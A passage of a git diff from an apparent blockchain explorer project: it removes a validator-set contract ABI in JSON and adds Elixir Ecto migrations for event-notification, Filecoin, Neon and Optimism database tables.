"stateMutability": "view", - "type": "function" - }, - { - "constant": true, - "inputs": [], - "name": "changeRequestCount", - "outputs": [ - { - "name": "", - "type": "uint256" - } - ], - "payable": false, - "stateMutability": "view", - "type": "function" - }, - { - "constant": true, - "inputs": [], - "name": "stakingContract", - "outputs": [ - { - "name": "", - "type": "address" - } - ], - "payable": false, - "stateMutability": "view", - "type": "function" - }, - { - "constant": true, - "inputs": [ - { - "name": "", - "type": "address" - } - ], - "name": "isValidator", - "outputs": [ - { - "name": "", - "type": "bool" - } - ], - "payable": false, - "stateMutability": "view", - "type": "function" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": true, - "name": "parentHash", - "type": "bytes32" - }, - { - "indexed": false, - "name": "newSet", - "type": "address[]" - } - ], - "name": "InitiateChange", - "type": "event" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": false, - "name": "reportingValidator", - "type": "address" - }, - { - "indexed": false, - "name": "maliciousValidator", - "type": "address" - }, - { - "indexed": false, - "name": "blockNumber", - "type": "uint256" - } - ], - "name": "ReportedMalicious", - "type": "event" - }, - { - "constant": false, - "inputs": [], - "name": "clearUnremovableValidator", - "outputs": [], - "payable": false, - "stateMutability": "nonpayable", - "type": "function" - }, - { - "constant": false, - "inputs": [], - "name": "emitInitiateChange", - "outputs": [], - "payable": false, - "stateMutability": "nonpayable", - "type": "function" - }, - { - "constant": false, - "inputs": [], - "name": "finalizeChange", - "outputs": [], - "payable": false, - "stateMutability": "nonpayable", - "type": "function" - }, - { - "constant": false, - "inputs": [ - { - "name": "_blockRewardContract", - "type": "address" - }, - { - "name": "_randomContract", - "type": "address" - }, - { - "name": "_stakingContract", - "type": "address" - }, - { - "name": "_initialMiningAddresses", - "type": "address[]" - }, - { - "name": "_initialStakingAddresses", - "type": "address[]" - }, - { - "name": "_firstValidatorIsUnremovable", - "type": "bool" - } - ], - "name": "initialize", - "outputs": [], - "payable": false, - "stateMutability": "nonpayable", - "type": "function" - }, - { - "constant": false, - "inputs": [], - "name": "newValidatorSet", - "outputs": [], - "payable": false, - "stateMutability": "nonpayable", - "type": "function" - }, - { - "constant": false, - "inputs": [ - { - "name": "_miningAddresses", - "type": "address[]" - } - ], - "name": "removeMaliciousValidators", - "outputs": [], - "payable": false, - "stateMutability": "nonpayable", - "type": "function" - }, - { - "constant": false, - "inputs": [ - { - "name": "_maliciousMiningAddress", - "type": "address" - }, - { - "name": "_blockNumber", - "type": "uint256" - }, - { - "name": "", - "type": "bytes" - } - ], - "name": "reportMalicious", - "outputs": [], - "payable": false, - "stateMutability": "nonpayable", - "type": "function" - }, - { - "constant": true, - "inputs": [], - "name": "emitInitiateChangeCallable", - "outputs": [ - { - "name": "", - "type": "bool" - } - ], - "payable": false, - "stateMutability": "view", - "type": "function" - }, - { - "constant": true, - "inputs": [], - "name": "getPendingValidators", - "outputs": [ - { - "name": "", - "type": "address[]" - } - ], - "payable": false, - "stateMutability": "view", - "type": "function" - }, - { - "constant": true, - "inputs": [], - "name": "validatorsToBeFinalized", - "outputs": [ - { - "name": "miningAddresses", - "type": "address[]" - } - ], - "payable": false, - "stateMutability": "view", - "type": "function" - }, - { - "constant": true, - "inputs": [], - "name": "getValidators", - "outputs": [ - { - "name": "", - "type": "address[]" - } - ], - "payable": false, - "stateMutability": "view", - "type": "function" - }, - { - "constant": true, - "inputs": [], - "name": "isInitialized", - "outputs": [ - { - "name": "", - "type": "bool" - } - ], - "payable": false, - "stateMutability": "view", - "type": "function" - }, - { - "constant": true, - "inputs": [ - { - "name": "_miningAddress", - "type": "address" - } - ], - "name": "isReportValidatorValid", - "outputs": [ - { - "name": "", - "type": "bool" - } - ], - "payable": false, - "stateMutability": "view", - "type": "function" - }, - { - "constant": true, - "inputs": [ - { - "name": "_miningAddress", - "type": "address" - } - ], - "name": "isValidatorBanned", - "outputs": [ - { - "name": "", - "type": "bool" - } - ], - "payable": false, - "stateMutability": "view", - "type": "function" - }, - { - "constant": true, - "inputs": [ - { - "name": "_miningAddress", - "type": "address" - } - ], - "name": "areDelegatorsBanned", - "outputs": [ - { - "name": "", - "type": "bool" - } - ], - "payable": false, - "stateMutability": "view", - "type": "function" - }, - { - "constant": true, - "inputs": [ - { - "name": "_reportingMiningAddress", - "type": "address" - }, - { - "name": "_maliciousMiningAddress", - "type": "address" - }, - { - "name": "_blockNumber", - "type": "uint256" - } - ], - "name": "reportMaliciousCallable", - "outputs": [ - { - "name": "callable", - "type": "bool" - }, - { - "name": "removeReportingValidator", - "type": "bool" - } - ], - "payable": false, - "stateMutability": "view", - "type": "function" - }, - { - "constant": true, - "inputs": [], - "name": "lastChangeBlock", - "outputs": [ - { - "name": "", - "type": "uint256" - } - ], - "payable": false, - "stateMutability": "view", - "type": "function" - }, - { - "constant": true, - "inputs": [ - { - "name": "", - "type": "address" - } - ], - "name": "hasEverBeenMiningAddress", - "outputs": [ - { - "name": "", - "type": "uint256" - } - ], - "payable": false, - "stateMutability": "view", - "type": "function" - }, - { - "constant": true, - "inputs": [ - { - "name": "", - "type": "address" - } - ], - "name": "idByMiningAddress", - "outputs": [ - { - "name": "", - "type": "uint256" - } - ], - "payable": false, - "stateMutability": "view", - "type": "function" - }, - { - "constant": true, - "inputs": [ - { - "name": "", - "type": "uint256" - } - ], - "name": "miningAddressById", - "outputs": [ - { - "name": "", - "type": "address" - } - ], - "payable": false, - "stateMutability": "view", - "type": "function" - }, - { - "constant": true, - "inputs": [ - { - "name": "", - "type": "uint256" - } - ], - "name": "stakingAddressById", - "outputs": [ - { - "name": "", - "type": "address" - } - ], - "payable": false, - "stateMutability": "view", - "type": "function" - }, - { - "constant": true, - "inputs": [ - { - "name": "", - "type": "address" - } - ], - "name": "idByStakingAddress", - "outputs": [ - { - "name": "", - "type": "uint256" - } - ], - "payable": false, - "stateMutability": "view", - "type": "function" - }, - { - "constant": true, - "inputs": [ - { - "name": "", - "type": "uint256" - } - ], - "name": "poolName", - "outputs": [ - { - "name": "", - "type": "string" - } - ], - "payable": false, - "stateMutability": "view", - "type": "function" - }, - { - "constant": true, - "inputs": [ - { - "name": "", - "type": "uint256" - } - ], - "name": "poolDescription", - "outputs": [ - { - "name": "", - "type": "string" - } - ], - "payable": false, - "stateMutability": "view", - "type": "function" - }, - { - "constant": false, - "inputs": [ - { - "name": "_name", - "type": "string" - }, - { - "name": "_description", - "type": "string" - } - ], - "name": "changeMetadata", - "outputs": [], - "payable": false, - "stateMutability": "nonpayable", - "type": "function" - } -] diff --git a/apps/explorer/priv/event_notifications/migrations/20220804114005_create_event_notifications.exs b/apps/explorer/priv/event_notifications/migrations/20220804114005_create_event_notifications.exs new file mode 100644 index 000000000000..d2dc5abd7a69 --- /dev/null +++ b/apps/explorer/priv/event_notifications/migrations/20220804114005_create_event_notifications.exs @@ -0,0 +1,9 @@ +defmodule Explorer.Repo.EventNotifications.Migrations.CreateEventNotifications do + use Ecto.Migration + + def change do + create table(:event_notifications) do + add(:data, :text, null: false) + end + end +end diff --git a/apps/explorer/priv/event_notifications/migrations/20250704124014_add_timestamp_to_event_notifications.exs b/apps/explorer/priv/event_notifications/migrations/20250704124014_add_timestamp_to_event_notifications.exs new file mode 100644 index 000000000000..a04aa865ae98 --- /dev/null +++ b/apps/explorer/priv/event_notifications/migrations/20250704124014_add_timestamp_to_event_notifications.exs @@ -0,0 +1,11 @@ +defmodule Explorer.Repo.EventNotifications.Migrations.AddTimestampToEventNotifications do + use Ecto.Migration + + def change do + execute("TRUNCATE event_notifications;") + + alter table(:event_notifications) do + timestamps() + end + end +end diff --git a/apps/explorer/priv/filecoin/migrations/20230731130103_modify_collated_gas_price_constraint.exs b/apps/explorer/priv/filecoin/migrations/20230731130103_modify_collated_gas_price_constraint.exs new file mode 100644 index 000000000000..18ff64b5f382 --- /dev/null +++ b/apps/explorer/priv/filecoin/migrations/20230731130103_modify_collated_gas_price_constraint.exs @@ -0,0 +1,15 @@ +defmodule Explorer.Repo.Filecoin.Migrations.ModifyCollatedGasPriceConstraint do + use Ecto.Migration + + def change do + execute("ALTER TABLE transactions DROP CONSTRAINT collated_gas_price") + + create( + constraint( + :transactions, + :collated_gas_price, + check: "block_hash IS NULL OR gas_price IS NOT NULL OR max_fee_per_gas IS NOT NULL" + ) + ) + end +end diff --git a/apps/explorer/priv/filecoin/migrations/20231109104957_create_null_round_heights.exs b/apps/explorer/priv/filecoin/migrations/20231109104957_create_null_round_heights.exs new file mode 100644 index 000000000000..081d17637dab --- /dev/null +++ b/apps/explorer/priv/filecoin/migrations/20231109104957_create_null_round_heights.exs @@ -0,0 +1,9 @@ +defmodule Explorer.Repo.Filecoin.Migrations.CreateNullRoundHeights do + use Ecto.Migration + + def change do + create table(:null_round_heights, primary_key: false) do + add(:height, :integer, primary_key: true) + end + end +end diff --git a/apps/explorer/priv/filecoin/migrations/20240219140124_change_null_round_heights_height_type.exs b/apps/explorer/priv/filecoin/migrations/20240219140124_change_null_round_heights_height_type.exs new file mode 100644 index 000000000000..590a313661a3 --- /dev/null +++ b/apps/explorer/priv/filecoin/migrations/20240219140124_change_null_round_heights_height_type.exs @@ -0,0 +1,9 @@ +defmodule Explorer.Repo.Filecoin.Migrations.ChangeNullRoundHeightsHeightType do + use Ecto.Migration + + def change do + alter table(:null_round_heights) do + modify(:height, :bigint) + end + end +end diff --git a/apps/explorer/priv/filecoin/migrations/20240801134142_create_pending_address_operations.exs b/apps/explorer/priv/filecoin/migrations/20240801134142_create_pending_address_operations.exs new file mode 100644 index 000000000000..7da899939bdb --- /dev/null +++ b/apps/explorer/priv/filecoin/migrations/20240801134142_create_pending_address_operations.exs @@ -0,0 +1,23 @@ +defmodule Explorer.Repo.Filecoin.Migrations.CreatePendingAddressOperations do + use Ecto.Migration + + def change do + create table(:filecoin_pending_address_operations, primary_key: false) do + add( + :address_hash, + references( + :addresses, + column: :hash, + type: :bytea, + on_delete: :delete_all + ), + null: false, + primary_key: true + ) + + add(:http_status_code, :smallint) + + timestamps() + end + end +end diff --git a/apps/explorer/priv/filecoin/migrations/20240807134138_add_chain_type_fields_to_address.exs b/apps/explorer/priv/filecoin/migrations/20240807134138_add_chain_type_fields_to_address.exs new file mode 100644 index 000000000000..378e3b24c0b3 --- /dev/null +++ b/apps/explorer/priv/filecoin/migrations/20240807134138_add_chain_type_fields_to_address.exs @@ -0,0 +1,11 @@ +defmodule Explorer.Repo.Filecoin.Migrations.AddChainTypeFieldsToAddress do + use Ecto.Migration + + def change do + alter table(:addresses) do + add(:filecoin_id, :bytea) + add(:filecoin_robust, :bytea) + add(:filecoin_actor_type, :smallint) + end + end +end diff --git a/apps/explorer/priv/filecoin/migrations/20241214110136_add_refetch_after_to_pending_address_operation.exs b/apps/explorer/priv/filecoin/migrations/20241214110136_add_refetch_after_to_pending_address_operation.exs new file mode 100644 index 000000000000..212eadecf55a --- /dev/null +++ b/apps/explorer/priv/filecoin/migrations/20241214110136_add_refetch_after_to_pending_address_operation.exs @@ -0,0 +1,17 @@ +defmodule Explorer.Repo.Filecoin.Migrations.AddRefetchAfterToPendingAddressOperation do + use Ecto.Migration + + def up do + alter table(:filecoin_pending_address_operations) do + add(:refetch_after, :utc_datetime_usec) + remove(:http_status_code) + end + end + + def down do + alter table(:filecoin_pending_address_operations) do + remove(:refetch_after) + add(:http_status_code, :smallint) + end + end +end diff --git a/apps/explorer/priv/filecoin/migrations/20250220085529_replace_filecoin_addresses_indexes.exs b/apps/explorer/priv/filecoin/migrations/20250220085529_replace_filecoin_addresses_indexes.exs new file mode 100644 index 000000000000..9b27c3c61a66 --- /dev/null +++ b/apps/explorer/priv/filecoin/migrations/20250220085529_replace_filecoin_addresses_indexes.exs @@ -0,0 +1,11 @@ +defmodule Explorer.Repo.Filecoin.Migrations.ReplaceFilecoinAddressesIndexes do + use Ecto.Migration + + def change do + drop_if_exists(unique_index(:addresses, [:filecoin_robust])) + drop_if_exists(unique_index(:addresses, [:filecoin_id])) + + create(index(:addresses, [:filecoin_robust])) + create(index(:addresses, [:filecoin_id])) + end +end diff --git a/apps/explorer/priv/neon/migrations/20241203161152_create_neon_solana_transactions.exs b/apps/explorer/priv/neon/migrations/20241203161152_create_neon_solana_transactions.exs new file mode 100644 index 000000000000..1e29fba47ee6 --- /dev/null +++ b/apps/explorer/priv/neon/migrations/20241203161152_create_neon_solana_transactions.exs @@ -0,0 +1,16 @@ +defmodule Explorer.Repo.Migrations.CreateNeonSolanaTransactions do + use Ecto.Migration + + def change do + create table(:neon_linked_solana_transactions) do + add(:neon_transaction_hash, references(:transactions, column: :hash, on_delete: :delete_all, type: :bytea), + null: false + ) + + add(:solana_transaction_hash, :string, null: false) + timestamps() + end + + create(unique_index(:neon_linked_solana_transactions, [:neon_transaction_hash, :solana_transaction_hash])) + end +end diff --git a/apps/explorer/priv/optimism/migrations/20220204060243_transaction_columns_to_support_l2.exs b/apps/explorer/priv/optimism/migrations/20220204060243_transaction_columns_to_support_l2.exs new file mode 100644 index 000000000000..36a7902cfdf5 --- /dev/null +++ b/apps/explorer/priv/optimism/migrations/20220204060243_transaction_columns_to_support_l2.exs @@ -0,0 +1,14 @@ +defmodule Explorer.Repo.Migrations.TransactionColumnsToSupportL2 do + use Ecto.Migration + + def change do + alter table(:transactions) do + add(:l1_fee, :numeric, precision: 100, null: true) + add(:l1_fee_scalar, :decimal, null: true) + add(:l1_gas_price, :numeric, precision: 100, null: true) + add(:l1_gas_used, :numeric, precision: 100, null: true) + add(:l1_tx_origin, :bytea, null: true) + add(:l1_block_number, :integer, null: true) + end + end +end diff --git a/apps/explorer/priv/optimism/migrations/20230131115105_add_op_output_roots_table.exs b/apps/explorer/priv/optimism/migrations/20230131115105_add_op_output_roots_table.exs new file mode 100644 index 000000000000..da07e936ee7d --- /dev/null +++ b/apps/explorer/priv/optimism/migrations/20230131115105_add_op_output_roots_table.exs @@ -0,0 +1,16 @@ +defmodule Explorer.Repo.Migrations.AddOpOutputRootsTable do + use Ecto.Migration + + def change do + create table(:op_output_roots, primary_key: false) do + add(:l2_output_index, :bigint, null: false, primary_key: true) + add(:l2_block_number, :bigint, null: false) + add(:l1_tx_hash, :bytea, null: false) + add(:l1_timestamp, :"timestamp without time zone", null: false) + add(:l1_block_number, :bigint, null: false) + add(:output_root, :bytea, null: false) + + timestamps(null: false, type: :utc_datetime_usec) + end + end +end diff --git a/apps/explorer/priv/optimism/migrations/20230206123308_add_op_withdrawals_table.exs b/apps/explorer/priv/optimism/migrations/20230206123308_add_op_withdrawals_table.exs new file mode 100644 index 000000000000..cee87054f02b --- /dev/null +++ b/apps/explorer/priv/optimism/migrations/20230206123308_add_op_withdrawals_table.exs @@ -0,0 +1,14 @@ +defmodule Explorer.Repo.Migrations.AddOpWithdrawalsTable do + use Ecto.Migration + + def change do + create table(:op_withdrawals, primary_key: false) do + add(:msg_nonce, :numeric, precision: 100, null: false, primary_key: true) + add(:withdrawal_hash, :bytea, null: false) + add(:l2_tx_hash, :bytea, null: false) + add(:l2_block_number, :bigint, null: false) + + timestamps(null: false, type: :utc_datetime_usec) + end + end +end diff --git a/apps/explorer/priv/optimism/migrations/20230212162845_add_op_withdrawal_events_table.exs b/apps/explorer/priv/optimism/migrations/20230212162845_add_op_withdrawal_events_table.exs new file mode 100644 index 000000000000..12f5d3160614 --- /dev/null +++ b/apps/explorer/priv/optimism/migrations/20230212162845_add_op_withdrawal_events_table.exs @@ -0,0 +1,22 @@ +defmodule Explorer.Repo.Migrations.AddOpWithdrawalEventsTable do + use Ecto.Migration + + def change do + execute( + "CREATE TYPE withdrawal_event_type AS ENUM ('WithdrawalProven', 'WithdrawalFinalized')", + "DROP TYPE withdrawal_event_type" + ) + + create table(:op_withdrawal_events, primary_key: false) do + add(:withdrawal_hash, :bytea, null: false, primary_key: true) + add(:l1_event_type, :withdrawal_event_type, null: false, primary_key: true) + add(:l1_timestamp, :"timestamp without time zone", null: false) + add(:l1_tx_hash, :bytea, null: false) + add(:l1_block_number, :bigint, null: false) + + timestamps(null: false, type: :utc_datetime_usec) + end + + create(index(:op_withdrawal_events, :l1_timestamp)) + end +end diff --git a/apps/explorer/priv/optimism/migrations/20230216135703_add_op_transaction_batches_table.exs b/apps/explorer/priv/optimism/migrations/20230216135703_add_op_transaction_batches_table.exs new file mode 100644 index 000000000000..59fbc9822675 --- /dev/null +++ b/apps/explorer/priv/optimism/migrations/20230216135703_add_op_transaction_batches_table.exs @@ -0,0 +1,14 @@ +defmodule Explorer.Repo.Migrations.AddOpTransactionBatchesTable do + use Ecto.Migration + + def change do + create table(:op_transaction_batches, primary_key: false) do + add(:l2_block_number, :bigint, null: false, primary_key: true) + add(:epoch_number, :bigint, null: false) + add(:l1_tx_hashes, {:array, :bytea}, null: false) + add(:l1_tx_timestamp, :"timestamp without time zone", null: false) + + timestamps(null: false, type: :utc_datetime_usec) + end + end +end diff --git a/apps/explorer/priv/optimism/migrations/20230220202107_create_op_deposits.exs b/apps/explorer/priv/optimism/migrations/20230220202107_create_op_deposits.exs new file mode 100644 index 000000000000..3f313995528c --- /dev/null +++ b/apps/explorer/priv/optimism/migrations/20230220202107_create_op_deposits.exs @@ -0,0 +1,17 @@ +defmodule Explorer.Repo.Migrations.CreateOpDeposits do + use Ecto.Migration + + def change do + create table(:op_deposits, primary_key: false) do + add(:l1_block_number, :bigint, null: false) + add(:l1_block_timestamp, :"timestamp without time zone", null: true) + add(:l1_transaction_hash, :bytea, null: false) + add(:l1_transaction_origin, :bytea, null: false) + add(:l2_transaction_hash, :bytea, null: false, primary_key: true) + + timestamps(null: false, type: :utc_datetime_usec) + end + + create(index(:op_deposits, [:l1_block_number])) + end +end diff --git a/apps/explorer/priv/optimism/migrations/20230301105051_rename_fields.exs b/apps/explorer/priv/optimism/migrations/20230301105051_rename_fields.exs new file mode 100644 index 000000000000..d7041587a38f --- /dev/null +++ b/apps/explorer/priv/optimism/migrations/20230301105051_rename_fields.exs @@ -0,0 +1,12 @@ +defmodule Explorer.Repo.Migrations.RenameFields do + use Ecto.Migration + + def change do + rename(table(:op_transaction_batches), :l1_tx_hashes, to: :l1_transaction_hashes) + rename(table(:op_transaction_batches), :l1_tx_timestamp, to: :l1_timestamp) + rename(table(:op_output_roots), :l1_tx_hash, to: :l1_transaction_hash) + rename(table(:op_withdrawals), :l2_tx_hash, to: :l2_transaction_hash) + rename(table(:op_withdrawals), :withdrawal_hash, to: :hash) + rename(table(:op_withdrawal_events), :l1_tx_hash, to: :l1_transaction_hash) + end +end diff --git a/apps/explorer/priv/optimism/migrations/20230303125841_add_op_indexes.exs b/apps/explorer/priv/optimism/migrations/20230303125841_add_op_indexes.exs new file mode 100644 index 000000000000..e9db8591c361 --- /dev/null +++ b/apps/explorer/priv/optimism/migrations/20230303125841_add_op_indexes.exs @@ -0,0 +1,8 @@ +defmodule Explorer.Repo.Migrations.AddOpIndexes do + use Ecto.Migration + + def change do + create(index(:op_output_roots, [:l1_block_number])) + create(index(:op_withdrawal_events, [:l1_block_number])) + end +end diff --git a/apps/explorer/priv/optimism/migrations/20230307090655_add_op_frame_sequences_table.exs b/apps/explorer/priv/optimism/migrations/20230307090655_add_op_frame_sequences_table.exs new file mode 100644 index 000000000000..ea7f192af638 --- /dev/null +++ b/apps/explorer/priv/optimism/migrations/20230307090655_add_op_frame_sequences_table.exs @@ -0,0 +1,24 @@ +defmodule Explorer.Repo.Migrations.AddOpFrameSequencesTable do + use Ecto.Migration + + def change do + create table(:op_frame_sequences, primary_key: true) do + add(:l1_transaction_hashes, {:array, :bytea}, null: false) + add(:l1_timestamp, :"timestamp without time zone", null: false) + + timestamps(null: false, type: :utc_datetime_usec) + end + + alter table(:op_transaction_batches) do + remove(:l1_transaction_hashes) + remove(:l1_timestamp) + + add( + :frame_sequence_id, + references(:op_frame_sequences, on_delete: :restrict, on_update: :update_all, type: :bigint), + null: false, + after: :epoch_number + ) + end + end +end diff --git a/apps/explorer/priv/optimism/migrations/20230731130103_modify_collated_gas_price_constraint.exs b/apps/explorer/priv/optimism/migrations/20230731130103_modify_collated_gas_price_constraint.exs new file mode 100644 index 000000000000..59a07d849153 --- /dev/null +++ b/apps/explorer/priv/optimism/migrations/20230731130103_modify_collated_gas_price_constraint.exs @@ -0,0 +1,15 @@ +defmodule Explorer.Repo.Optimism.Migrations.ModifyCollatedGasPriceConstraint do + use Ecto.Migration + + def change do + execute("ALTER TABLE transactions DROP CONSTRAINT collated_gas_price") + + create( + constraint( + :transactions, + :collated_gas_price, + check: "block_hash IS NULL OR gas_price IS NOT NULL OR max_fee_per_gas IS NOT NULL" + ) + ) + end +end diff --git a/apps/explorer/priv/optimism/migrations/20231025102325_add_op_withdrawal_index.exs b/apps/explorer/priv/optimism/migrations/20231025102325_add_op_withdrawal_index.exs new file mode 100644 index 000000000000..3fda19158b86 --- /dev/null +++ b/apps/explorer/priv/optimism/migrations/20231025102325_add_op_withdrawal_index.exs @@ -0,0 +1,7 @@ +defmodule Explorer.Repo.Migrations.AddOpWithdrawalIndex do + use Ecto.Migration + + def change do + create(index(:op_withdrawals, :l2_transaction_hash)) + end +end diff --git a/apps/explorer/priv/optimism/migrations/20240124124644_remove_op_epoch_number_field.exs b/apps/explorer/priv/optimism/migrations/20240124124644_remove_op_epoch_number_field.exs new file mode 100644 index 000000000000..652f9551896c --- /dev/null +++ b/apps/explorer/priv/optimism/migrations/20240124124644_remove_op_epoch_number_field.exs @@ -0,0 +1,9 @@ +defmodule Explorer.Repo.Migrations.RemoveOpEpochNumberField do + use Ecto.Migration + + def change do + alter table(:op_transaction_batches) do + remove(:epoch_number) + end + end +end diff --git a/apps/explorer/priv/optimism/migrations/20240328125102_fault_proofs_support.exs b/apps/explorer/priv/optimism/migrations/20240328125102_fault_proofs_support.exs new file mode 100644 index 000000000000..cf3a139b5ec5 --- /dev/null +++ b/apps/explorer/priv/optimism/migrations/20240328125102_fault_proofs_support.exs @@ -0,0 +1,23 @@ +defmodule Explorer.Repo.Optimism.Migrations.FaultProofsSupport do + use Ecto.Migration + + def change do + alter table(:op_withdrawal_events) do + add(:game_index, :integer, null: true) + end + + create table(:op_dispute_games, primary_key: false) do + add(:index, :integer, null: false, primary_key: true) + add(:game_type, :smallint, null: false) + add(:address, :bytea, null: false) + add(:extra_data, :bytea, null: true, default: nil) + add(:created_at, :"timestamp without time zone", null: false) + add(:resolved_at, :"timestamp without time zone", null: true, default: nil) + add(:status, :smallint, null: true, default: nil) + + timestamps(null: false, type: :utc_datetime_usec) + end + + create(index(:op_dispute_games, :game_type)) + end +end diff --git a/apps/explorer/priv/optimism/migrations/20240503113124_add_celestia_blob_metadata.exs b/apps/explorer/priv/optimism/migrations/20240503113124_add_celestia_blob_metadata.exs new file mode 100644 index 000000000000..3878db97f015 --- /dev/null +++ b/apps/explorer/priv/optimism/migrations/20240503113124_add_celestia_blob_metadata.exs @@ -0,0 +1,31 @@ +defmodule Explorer.Repo.Optimism.Migrations.AddCelestiaBlobMetadata do + use Ecto.Migration + + def change do + execute( + "CREATE TYPE op_frame_sequence_blob_type AS ENUM ('celestia', 'eip4844')", + "DROP TYPE op_frame_sequence_blob_type" + ) + + create table(:op_frame_sequence_blobs, primary_key: false) do + add(:id, :bigint, null: false) + add(:key, :bytea, null: false, primary_key: true) + add(:type, :op_frame_sequence_blob_type, null: false, primary_key: true) + add(:metadata, :map, default: %{}, null: false) + add(:l1_transaction_hash, :bytea, null: false) + add(:l1_timestamp, :"timestamp without time zone", null: false) + + add( + :frame_sequence_id, + references(:op_frame_sequences, on_delete: :delete_all, on_update: :update_all, type: :bigint), + null: false + ) + + timestamps(null: false, type: :utc_datetime_usec) + end + + create(unique_index(:op_frame_sequence_blobs, :id)) + create(index(:op_frame_sequence_blobs, :frame_sequence_id)) + create(index(:op_transaction_batches, :frame_sequence_id)) + end +end diff --git a/apps/explorer/priv/optimism/migrations/20240612120541_add_view_ready_field.exs b/apps/explorer/priv/optimism/migrations/20240612120541_add_view_ready_field.exs new file mode 100644 index 000000000000..9b3e26b59cee --- /dev/null +++ b/apps/explorer/priv/optimism/migrations/20240612120541_add_view_ready_field.exs @@ -0,0 +1,11 @@ +defmodule Explorer.Repo.Optimism.Migrations.AddViewReadyField do + use Ecto.Migration + + def change do + alter table(:op_frame_sequences) do + add(:view_ready, :boolean, default: false, null: false) + end + + execute("UPDATE op_frame_sequences SET view_ready = TRUE") + end +end diff --git a/apps/explorer/priv/optimism/migrations/20240613065020_add_frame_sequence_id_prev_field.exs b/apps/explorer/priv/optimism/migrations/20240613065020_add_frame_sequence_id_prev_field.exs new file mode 100644 index 000000000000..35416d64b060 --- /dev/null +++ b/apps/explorer/priv/optimism/migrations/20240613065020_add_frame_sequence_id_prev_field.exs @@ -0,0 +1,11 @@ +defmodule Explorer.Repo.Optimism.Migrations.AddFrameSequenceIdPrevField do + use Ecto.Migration + + def change do + alter table(:op_transaction_batches) do + add(:frame_sequence_id_prev, :bigint, default: 0, null: false) + end + + create(index(:op_frame_sequences, :view_ready)) + end +end diff --git a/apps/explorer/priv/optimism/migrations/20241015140121_rename_tx_related_field_optimism.exs b/apps/explorer/priv/optimism/migrations/20241015140121_rename_tx_related_field_optimism.exs new file mode 100644 index 000000000000..6f2b4a493540 --- /dev/null +++ b/apps/explorer/priv/optimism/migrations/20241015140121_rename_tx_related_field_optimism.exs @@ -0,0 +1,7 @@ +defmodule Explorer.Repo.Optimism.Migrations.RenameTxRelatedFieldOptimism do + use Ecto.Migration + + def change do + rename(table(:transactions), :l1_tx_origin, to: :l1_transaction_origin) + end +end diff --git a/apps/explorer/priv/optimism/migrations/20241203113159_holocene_support.exs b/apps/explorer/priv/optimism/migrations/20241203113159_holocene_support.exs new file mode 100644 index 000000000000..fc23b0dcdd6f --- /dev/null +++ b/apps/explorer/priv/optimism/migrations/20241203113159_holocene_support.exs @@ -0,0 +1,14 @@ +defmodule Explorer.Repo.Optimism.Migrations.HoloceneSupport do + use Ecto.Migration + + def change do + create table(:op_eip1559_config_updates, primary_key: false) do + add(:l2_block_number, :bigint, null: false, primary_key: true) + add(:l2_block_hash, :bytea, null: false) + add(:base_fee_max_change_denominator, :integer, null: false) + add(:elasticity_multiplier, :integer, null: false) + + timestamps(null: false, type: :utc_datetime_usec) + end + end +end diff --git a/apps/explorer/priv/optimism/migrations/20241209101134_op_withdrawal_events_key.exs b/apps/explorer/priv/optimism/migrations/20241209101134_op_withdrawal_events_key.exs new file mode 100644 index 000000000000..026c8436cc4a --- /dev/null +++ b/apps/explorer/priv/optimism/migrations/20241209101134_op_withdrawal_events_key.exs @@ -0,0 +1,26 @@ +defmodule Explorer.Repo.Optimism.Migrations.OPWithdrawalEventsKey do + use Ecto.Migration + + def up do + execute("TRUNCATE TABLE op_withdrawal_events;") + + drop(constraint("op_withdrawal_events", "op_withdrawal_events_pkey")) + + alter table(:op_withdrawal_events) do + modify(:withdrawal_hash, :bytea, primary_key: true) + modify(:l1_event_type, :withdrawal_event_type, primary_key: true) + modify(:l1_transaction_hash, :bytea, primary_key: true) + end + end + + def down do + execute("TRUNCATE TABLE op_withdrawal_events;") + + drop(constraint("op_withdrawal_events", "op_withdrawal_events_pkey")) + + alter table(:op_withdrawal_events) do + modify(:withdrawal_hash, :bytea, primary_key: true) + modify(:l1_event_type, :withdrawal_event_type, primary_key: true) + end + end +end diff --git a/apps/explorer/priv/optimism/migrations/20250121131928_holocene_clear.exs b/apps/explorer/priv/optimism/migrations/20250121131928_holocene_clear.exs new file mode 100644 index 000000000000..7c3007f2035d --- /dev/null +++ b/apps/explorer/priv/optimism/migrations/20250121131928_holocene_clear.exs @@ -0,0 +1,11 @@ +defmodule Explorer.Repo.Optimism.Migrations.HoloceneClear do + use Ecto.Migration + + def change do + execute("TRUNCATE TABLE op_eip1559_config_updates;") + + execute( + "DELETE FROM last_fetched_counters WHERE counter_type = 'optimism_eip1559_config_updates_fetcher_last_l2_block_hash';" + ) + end +end diff --git a/apps/explorer/priv/optimism/migrations/20250204050501_op_interop_messages.exs b/apps/explorer/priv/optimism/migrations/20250204050501_op_interop_messages.exs new file mode 100644 index 000000000000..c822ad30adc4 --- /dev/null +++ b/apps/explorer/priv/optimism/migrations/20250204050501_op_interop_messages.exs @@ -0,0 +1,28 @@ +defmodule Explorer.Repo.Optimism.Migrations.OPInteropMessages do + use Ecto.Migration + + def change do + drop_if_exists(table(:op_interop_messages)) + + create table(:op_interop_messages, primary_key: false) do + add(:sender, :bytea, null: true, default: nil) + add(:target, :bytea, null: true, default: nil) + add(:nonce, :bigint, null: false, primary_key: true) + add(:init_chain_id, :integer, null: false, primary_key: true) + add(:init_transaction_hash, :bytea, null: true, default: nil) + add(:block_number, :bigint, null: true, default: nil) + add(:timestamp, :"timestamp without time zone", null: true, default: nil) + add(:relay_chain_id, :integer, null: false) + add(:relay_transaction_hash, :bytea, null: true, default: nil) + add(:payload, :bytea, null: true, default: nil) + add(:failed, :boolean, null: true, default: nil) + + timestamps(null: false, type: :utc_datetime_usec) + end + + create(index(:op_interop_messages, [:init_transaction_hash, :timestamp])) + create(index(:op_interop_messages, [:init_transaction_hash, :relay_chain_id])) + create(index(:op_interop_messages, [:relay_transaction_hash, :init_chain_id])) + create(index(:op_interop_messages, [:block_number, :failed])) + end +end diff --git a/apps/explorer/priv/optimism/migrations/20250221121840_reindex_batches.exs b/apps/explorer/priv/optimism/migrations/20250221121840_reindex_batches.exs new file mode 100644 index 000000000000..2cc22da4e106 --- /dev/null +++ b/apps/explorer/priv/optimism/migrations/20250221121840_reindex_batches.exs @@ -0,0 +1,8 @@ +defmodule Explorer.Repo.Optimism.Migrations.ReindexBatches do + use Ecto.Migration + + def change do + drop_if_exists(index(:op_transaction_batches, [:frame_sequence_id])) + 